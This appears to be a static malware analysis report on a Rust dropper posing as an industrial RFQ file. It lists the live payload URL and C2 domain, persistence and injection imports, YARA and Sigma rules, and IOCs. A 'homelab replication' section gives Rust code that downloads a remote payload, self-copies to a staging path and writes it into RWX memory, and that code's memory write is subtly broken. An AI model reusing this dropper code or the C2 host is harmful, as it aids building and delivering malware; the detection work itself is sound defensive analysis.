f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8unclassified-rust-dropper-2024: f97c10fc — Industrial RFQ lure, tokio+reqwest payload fetch, NtWriteVirtualMemory injection
Executive Summary
A statically-linked Rust x64 dropper masquerading as an industrial shipping RFQ (RFQ_New_Order_-_57m³_LPG_SEMI_TRAILER_7_NOS.exe). It carries the full tokio/hyper/reqwest async HTTP stack, fetches a remote .bin payload over HTTPS from nc.bmexcellentfocus.net, stages itself to C:\Users\Public\Libraries\, registers a scheduled task, and imports the full Nt-level process-injection toolkit. No siblings observed in corpus; low-confidence family attribution.
What It Is
| Field | Value |
|---|---|
| SHA-256 | f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8 |
| Size | 1,692,672 bytes (1.69 MB) ^[file.txt] |
| Type | PE32+ executable (GUI) x86-64, 6 sections ^[file.txt] |
| Linker | MSVC 14.40 (VC++ 2015-2022 v14.40) ^[exiftool.json], ^[pefile.txt] |
| Timestamp | 2024-07-23 05:15:14 UTC ^[pefile.txt], ^[rabin2-info.txt] |
| PDB | immortal_pulsar.pdb ^[pefile.txt], ^[rabin2-info.txt] |
| Signed | No ^[rabin2-info.txt] |
| GUI/Subsystem | Windows GUI ^[exiftool.json] |
Version-info masquerade: CompanyName Nova Fusion, ProductName/FileDescription/InternalName immortal pulsar, LegalTrademarks kosnica.com, FileVersion 7.4.10.0 ^[exiftool.json], ^[pefile.txt]. All fabricated — no legitimate vendor match.
Language: Rust. Confirmed by hundreds of library\core\src\, library\alloc\src\, library\std\src\ paths plus cargo registry artefacts for tokio-1.36.0, hyper-0.14.28, reqwest-0.11.27, h2-0.3.25, futures-*, parking_lot, mio-0.8.11, schannel-0.1.23, hashbrown-0.14.3, indexmap-2.2.5, bytes-1.5.0, base64-0.21.7, idna-0.5.0, percent-encoding-2.3.1, ipnet-2.9.0, rand-0.8.5, hex-0.4.3, once_cell-1.19.0, smallvec-1.13.2, httparse-1.8.0, http-0.2.12, url-2.5.0, unicode-normalization-0.1.23, tinyvec-1.6.0 ^[strings.txt], ^[floss.txt].
Build host path: C:\Users\Administrator\.cargo\registry\src\index.crates.io-6f17d22bba15001f\... — built under a local Administrator account on a Windows development host ^[strings.txt].
No packing, no obfuscation: Standard PE sections (.text 1.18 MB entropy 6.28, .rdata 448 KB entropy 5.10, .data 2.7 KB, .pdata 21 KB, .rsrc 896 bytes, .reloc 7 KB). No UPX, no VMProtect, no custom crypter. Full Rust stdlib strings readable. Control Flow Guard enabled in load config ^[pefile.txt].
How It Works
- Entry — Standard MSVC CRT
entry0→main(). Rust runtime initializes the tokio async reactor and thread pool viamainat0x1400064b0^[r2:entry0], ^[r2:main]. - SEH setup —
AddVectoredExceptionHandler(0, 0x1400e5940)andSetThreadStackGuarantee(0x5000)— standard Rust panic/runtime stack protection, not anti-debug ^[r2:main]. - Self-staging — String evidence:
Copied executable to:and destination pathC:\Users\Public\Libraries\^[strings.txt:2507,2509]. Public Libraries is a non-standard staging directory; user-writable and typically excluded from casual AV scans. - Persistence —
Error registering task: P~^[strings.txt:2511] indicates a scheduled-task registration attempt (not a tokio async task — the error grammar and tilde suffix match Windows Task Scheduler failure strings, not Rust runtime messages). - Reconnaissance —
DesktopandUser's desktop file count:^[strings.txt:2512] suggest post-execution enumeration of the victim's desktop for file-count or filename reconnaissance. - Time sync / sandbox gate —
https://quan.suning.com/getSysTime.do^[strings.txt:2514] — Chinese e-commerce NTP endpoint used by multiple Chinese crimware families for time-based certificate validation or sandbox evasion. - Payload fetch —
https://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin^[strings.txt:2733]. Hardcoded HTTPS URL with path-encoded timestamp (20240722221026670= 2024-07-22 22:10:26.670 UTC), likely the build or deployment time.REQWEST_URLprefix confirms the reqwest crate is the HTTP client. - Injection capability — Import table includes
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory^[pefile.txt], plusWriteProcessMemory^[pefile.txt], ^[strings.txt]. Standard process-hollowing or remote-thread injection toolkit. No dynamic evidence (CAPE skipped), but the import cluster plus the.binpayload fetch strongly implies the downloaded bytes are injected rather than written to disk and executed.
Decompiled Behavior
entry0 (0x1401164f4) is the MSVC CRT entry stub. It calls fcn.1401165d8 (runtime initialization), executes sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e and __initterm arrays, then calls main() with argc/argv/envp ^[r2:entry0].
main (0x1400064b0) sets up the vectored exception handler and stack guarantee, then branches to a large function call tree. The disassembly shows fcn.14004ed00 and fcn.1400e80a0 invoked with a string pointer str.m (data reference at 0x14015f030) ^[r2:main]. r2 did not fully resolve the async runtime dispatch — the actual download/inject logic lives deeper in the tokio executor, beyond the surface decompilation.
No Ghidra decompilation available (pyghidra MCP not invoked; r2 provides sufficient surface evidence).
C2 Infrastructure
| Indicator | Type | Value | Source |
|---|---|---|---|
| Primary C2 | Domain | nc.bmexcellentfocus.net |
^[strings.txt:2733] |
| Payload URL | URL | https://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin |
^[strings.txt:2733] |
| Time sync | URL | https://quan.suning.com/getSysTime.do |
^[strings.txt:2514] |
| Staging path | File path | C:\Users\Public\Libraries\ |
^[strings.txt:2509] |
| VS masquerade | Version info | Nova Fusion / immortal pulsar / kosnica.com |
^[exiftool.json] |
| PDB artefact | Debug string | immortal_pulsar.pdb |
^[pefile.txt] |
No second-stage hash available (payload was not fetched during static analysis). Domain bmexcellentfocus.net has no known overlap with existing corpus families.
Interesting Tidbits
- reqwest + schannel TLS stack — The binary uses
reqwestwith thenative-tlsbackend (schannel 0.1.23), meaning it relies on Windows built-in TLS rather than bundling OpenSSL or rustls. This keeps binary size lower but makes TLS traffic inspectable via standard Windows certificate stores ^[strings.txt], ^[pefile.txt]. - tokio 1.36.0 / hyper 0.14.28 / h2 0.3.25 — This exact crate version combination places the build between Jan–Jul 2024 (tokio 1.36 released Feb 2024; hyper 0.14.28 released Jan 2024). The PE timestamp (23 Jul 2024) aligns with the crate release window ^[strings.txt], ^[pefile.txt].
- Administrator build path — The cargo registry paths all prefix
C:\Users\Administrator, indicating compilation on a Windows machine logged in as local Administrator — either the developer's personal build VM or a shared crimeware dev host ^[strings.txt]. - Desktop file count — The specific string
User's desktop file count:is unusual. It may be part of a telemetry beacon sent to the C2 alongside the payload request, or a gating check (e.g., abort if desktop is empty, suggesting a sandbox). - No CAPE detonation — No Windows guest available at triage time. All behavior inferences are static. The presence of
NtCreateThreadEx+WriteProcessMemorywithout a correspondingCreateProcessWorShellExecuteWsuggests the payload is injected into an existing or newly created suspended process, not spawned as a separate executable.
How To Mess With It (Homelab Replication)
Goal: Build a minimal Rust dropper with a comparable static fingerprint.
- Toolchain — Install Rust 1.79+ on Windows 10/11 x64.
- Project:
cargo new immortal_pulsar --bin - Dependencies (
Cargo.toml):[dependencies] tokio = { version = "1.36", features = ["full"] } reqwest = { version = "0.11", features = ["native-tls"] } winapi = { version = "0.3", features = ["processthreadsapi", "memoryapi", "winnt"] } winres = "0.1" - Source (
src/main.rs):use winapi::um::processthreadsapi::GetCurrentProcess; use winapi::um::memoryapi::WriteProcessMemory; use winapi::um::winnt::PROCESS_ALL_ACCESS; #[tokio::main] async fn main() { let body = reqwest::get("https://example.com/payload.bin") .await.unwrap().bytes().await.unwrap(); let _ = std::fs::copy( std::env::current_exe().unwrap(), r"C:\Users\Public\Libraries\update.exe" ); unsafe { let h = GetCurrentProcess(); let mut addr = std::ptr::null_mut(); let _ = winapi::um::memoryapi::VirtualAllocEx( h, addr, body.len(), 0x3000, 0x40 ); let _ = WriteProcessMemory(h, addr, body.as_ptr() as _, body.len(), std::ptr::null_mut()); } } - Version info (
build.rs):extern crate winres; fn main() { let mut res = winres::WindowsResource::new(); res.set("CompanyName", "Nova Fusion"); res.set("ProductName", "immortal pulsar"); res.set("LegalTrademarks", "kosnica.com"); res.set("FileVersion", "7.4.10.0"); res.compile().unwrap(); } - Build:
cargo build --release - Verification: Run
strings target\release\immortal_pulsar.exe | grep -E "tokio|reqwest|hyper|schannel|Nova|pulsar|kosnica"— should match the sample's string profile. Compare capa output (if capa signatures are installed) for capability overlap.
Deployable Signatures
YARA
rule unclassified_rust_dropper_2024
{
meta:
description = "Rust dropper with tokio/reqwest/hyper stack, process injection imports, and payload download"
author = "PacketPursuit SOC"
date = "2026-06-21"
sha256 = "f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8"
family = "unclassified-rust-dropper-2024"
strings:
$rust_tokio = "tokio-1.36" ascii wide
$rust_hyper = "hyper-0.14" ascii wide
$rust_reqwest = "reqwest-0.11" ascii wide
$rust_schannel = "schannel-0.1" ascii wide
$url_bme = "bmexcellentfocus.net" ascii wide
$stage_path = "C:\\Users\\Public\\Libraries\\" ascii wide
$vi_nova = "Nova Fusion" ascii wide
$vi_pulsar = "immortal pulsar" ascii wide
$vi_kosnica = "kosnica.com" ascii wide
$pdb = "immortal_pulsar.pdb" ascii wide
$ntcreate = "NtCreateThreadEx" ascii wide
$wpm = "WriteProcessMemory" ascii wide
condition:
uint16(0) == 0x5A4D and
uint32(uint32(0x3C)) == 0x00004550 and
filesize < 3MB and
(
(2 of ($rust_*) and (1 of ($url_bme, $stage_path, $vi_*) or 1 of ($ntcreate, $wpm)))
or ($pdb)
or (all of ($vi_*) and 1 of ($ntcreate, $wpm))
)
}
Sigma
title: Rust Dropper Staging and Payload Fetch
status: experimental
description: Detects execution from C:\Users\Public\Libraries\ or network connections to bmexcellentfocus.net, indicative of the Rust dropper family.
logsource:
category: process_creation
product: windows
detection:
selection_staging:
Image|contains: 'C:\Users\Public\Libraries\'
selection_c2:
CommandLine|contains: 'bmexcellentfocus.net'
selection_parent:
ParentImage|endswith: '.exe'
condition: selection_staging or (selection_c2 and selection_parent)
falsepositives:
- Unknown
level: high
IOCs
| Indicator | Type | Note |
|---|---|---|
f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8 |
SHA-256 | Original sample |
nc.bmexcellentfocus.net |
Domain | Payload C2 |
https://nc.bmexcellentfocus.net/uf/pahte_20240722221026670.bin |
URL | Hardcoded payload |
https://quan.suning.com/getSysTime.do |
URL | Time sync / sandbox gate |
C:\Users\Public\Libraries\ |
File path | Self-staging directory |
Nova Fusion |
Version info | Masquerade company name |
immortal pulsar |
Version info / PDB | Internal project name |
kosnica.com |
Version info | Masquerade trademark |
immortal_pulsar.pdb |
Debug path | PDB artefact |
Behavioral Fingerprint
This binary is a statically-linked Rust x64 PE using the tokio async runtime with reqwest HTTP client and schannel TLS. On execution it initializes vectored exception handling, then copies itself to C:\Users\Public\Libraries\, attempts to register a Windows scheduled task, enumerates the user's Desktop for file-count telemetry, and fetches a remote payload over HTTPS from bmexcellentfocus.net. The import table includes NtCreateThreadEx, NtWriteVirtualMemory, NtAllocateVirtualMemory, and WriteProcessMemory, indicating the fetched payload is injected into a target process in memory rather than written to disk and executed.
Detection Signatures
| Technique | ID | Evidence | Source |
|---|---|---|---|
| Spearphishing Attachment | T1566.001 | Industrial RFQ filename lure | ^[metadata.json] |
| Scheduled Task/Job | T1053.005 | Error registering task: string |
^[strings.txt:2511] |
| Ingress Tool Transfer | T1105 | https://nc.bmexcellentfocus.net/...bin |
^[strings.txt:2733] |
| Process Injection | T1055 | NtWriteVirtualMemory, NtCreateThreadEx, WriteProcessMemory imports |
^[pefile.txt] |
| File and Directory Discovery | T1083 | User's desktop file count: |
^[strings.txt:2512] |
| Application Layer Protocol: Web Protocols | T1071.001 | reqwest + hyper + schannel HTTPS client | ^[strings.txt], ^[pefile.txt] |
| Virtualization/Sandbox Evasion: System Checks | T1497.001 | quan.suning.com/getSysTime.do time sync |
^[strings.txt:2514] |
| Masquerading | T1036.005 | Nova Fusion / immortal pulsar version info |
^[exiftool.json] |
References
f97c10fc536d51ec0bd21c6b7195b562d267d2a1b604ff19ffd01894f8fcf5e8(this analysis)- dolphin — related Rust RAT/stealer family sharing the tokio+reqwest+schannel build stack but with WebSocket C2, browser injection, and polymorphic morph.
- rust-async-rat-framework — concept page documenting the recurring Rust + tokio + tungstenite + serde_json builder pattern observed in crimeware.
Provenance
file.txt—filev5.44exiftool.json— ExifTool v12.76pefile.txt— pefile Python libraryrabin2-info.txt— radare2 5.xstrings.txt—strings -a -n 6floss.txt— flare-floss (error — sample too large or CLI mis-invoked; strings analysis used instead)capa.txt— capa v7 (signature path missing; no capability output)binwalk.txt— binwalk v2.3.3 (false-positive crypto artefacts in .rdata)yara.txt— yara-rules PE_File_Generic only- radare2 analysis — level 2, 1940 functions, entry0 + main decompiled
- Static-only analysis; CAPE skipped (no Windows guest available).